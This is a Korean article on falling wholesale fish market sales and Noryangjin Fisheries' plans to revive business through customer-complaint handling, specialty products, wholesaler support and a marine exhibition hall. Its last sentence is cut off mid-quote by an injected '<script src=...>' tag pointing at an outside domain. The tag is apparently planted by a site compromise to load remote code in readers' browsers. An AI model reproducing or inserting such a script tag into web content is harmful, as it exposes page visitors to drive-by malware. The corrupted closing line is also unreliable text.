“오늘 저녁 회 어때?”
이제 갓 결혼한 이 대리는 부인에게 저녁 메뉴로 회를 먹자고 제안했다.
이 대리는 이왕 먹는 김에 시원한 바람도 쐬고 싱싱한 생선도 직접 고를 수 있는 도매시장에 가서 직접 회를 떠 먹자고 했다.
그러나 부인의 반응은 냉담했다.
“에이~도매시장은 넘 지저분해. 바닥에 물도 질퍽질퍽하고 날씨도 추운데 그냥 가까운 할인마트에서 사다가 집에 가서 먹자”
부인의 말에 따르면 할인 마트가 가격도 그리 비싸지 않은데다 신선도도 만족스럽기 때문에 굳이 도매시장까지 갈 필요가 없다는 것이다.
도매시장의 매출이 연이어 제 자리 걸음을 하고 있다.
지난해 수도권 도매시장의 거래실적은 노량진 수산(주)이 3181억원으로 전년대비79억원이 증가한데 비해 가락동의 강동수산(주)은 1685억원으로 보합세를, 구리시장 수협공판장은 601억원으로 71억원이 감소해 노량진수산을 제외하고는 전년수준을 유지하거나 매출이 하락했다.
이 같은 사례는 도매시장들이 대형유통업체와의 경쟁, 산지 직거래 확대, 홈쇼핑, 인터넷 등 온라인 판매사업 증대 등으로 시장기능이 점점 위축되면서 도·소매 소비자들로부터 외면당해가고 있음을 단적으로 입증하고 있는 것이다.
노량진 수산(주)은 올해 경영전략을 “특색 있는 시장운영으로 도매시장의 선진화 도모”를 목표로 삼은 것도 이러한 위기의식을 깊이 느끼고 있음이다.
선도 도매시장 육성을 위해 업무프로세스를 개선해 경영효율성을 추구하고 유통인 지원 시스템 강화, 신규사업 발굴 및 위생환경 관리 강화 등 대 반전을 통해 침체 상황을 극복해 나간다는 것이다.
#경영관리 개선으로 고객만족 극대화
일단 시장은 “소비자 불만 종합관리시스템”을 운영해 고객만족을 넘어서 고객감동을 이끌어내겠다는 전략이다.
소비자들이 불만을 제시하기 전에 회사가 먼저 소비자들의 불만사항을 최소화하겠다는 것으로 이와 같은 대응에도 부득이하게 발생하는 불만과 피해에 대해서 신속하게 대응 처리 한다는 것이다.
주부 모니터제도 실시된다.
주부들을 모니터요원으로 선정해 시장이 경쟁업체와 비교해서 판매방식이나 친절도 등에서 어떤 차이가 나는지 조사하고 이에 대한 해결방안을 시장에 적극 도입할 계획이다.
아울러 상인 자체 질서 유지단도 구성된다.
시장은 부류별 상우회 대표와 협의해 각 부류 1명씩으로 구성된 자체 질서 유지단을 구성해 원산지표시나 호객행위 등을 단속해 나갈 계획이다.
이는 그동안 소비자들이 도매시장에 갖고 있던 불만사항들을 해결하기위한 복안이다.
#새우, 낙지, 전복 등에 이어 건제품도 특화상품화
특화상품이 확대된다.
지난해부터 실시해 인기를 끌었던 새우, 낙지, 전복 등의 특화상품 전략에 이어 올해에는 이를 더욱 확대할 계획이다.
새우, 낙지, 왕게, 대게 등의 상품을 선정해 전문 수입업자를 중점적으로 유치하고 업체의 거래규모나 영업형태에 따른 영업여건도 제공한다.
특히 현 꽃게 경매장 일부공간을 활용, 수족관을 설치해 활게 상품 전용 경매장도 조성할 예정이다.
또 경쟁력 강화를 위해 분산력이 우수한 건어물 중도매인을 10명 정도 유치해 본격적인 건어물 상장경매를 실시한다.
#유통업체 지원도 팍팍!
시장 내 중도매인에 대한 지원도 강화된다.
시장은 산지 직거래가 계속 증가하는 것에 대비해 대외적으로 경쟁력 있는 중도매인을 육성하는데 주력할 계획이다.
영업 실적이 좋은 우수 중도매인에게는 우선적으로 작업장과 처리장등을 제공하는 등 전폭적으로 지원한다.
노량진수산시장은 중도매인사무실 앞 주차장 공간 등을 유통 중도매인과 대형유통업체의 작업장으로 활용할 수 있도록 하고 시장 내 직원, 유통 중도매인, 유통업체 바이어들과의 정기적인 회의도 마련한다는 계획이다.
시장은 이를 통해 시장에 대한 불만, 건의사항에 대한 의견수렴과 개선조치 사항 등을 모색해 나갈 예정이다.
#전시체험관 마련으로 도매시장의 새로운 모습 선보여
도매시장동 옥상 일부를 이용해 해양학습 공간 체험프로그램을 운영하는 등 신규사업을 통해 도매시장의 새로운 모습도 선보인다.
전시체험관은 약 480평 규모로 지어질 예정이며 어류박제와 사진 등의 자료를 통해 수산업에 대한 이해를 높이는 공간, 유리 구조물 안에 갯벌 속 생태를 관찰할 수 있는 해양생물관, 손낚시, 어탁 등을 체험해볼 수 있는 체험관 등 다양한 구성으로 이루어질 전망이다.
김효동 기획총무팀장은 “다른 유통업체에서는 찾아볼 수 없는 볼거리를 제공하면서 시?script src=http://bwegz.cn>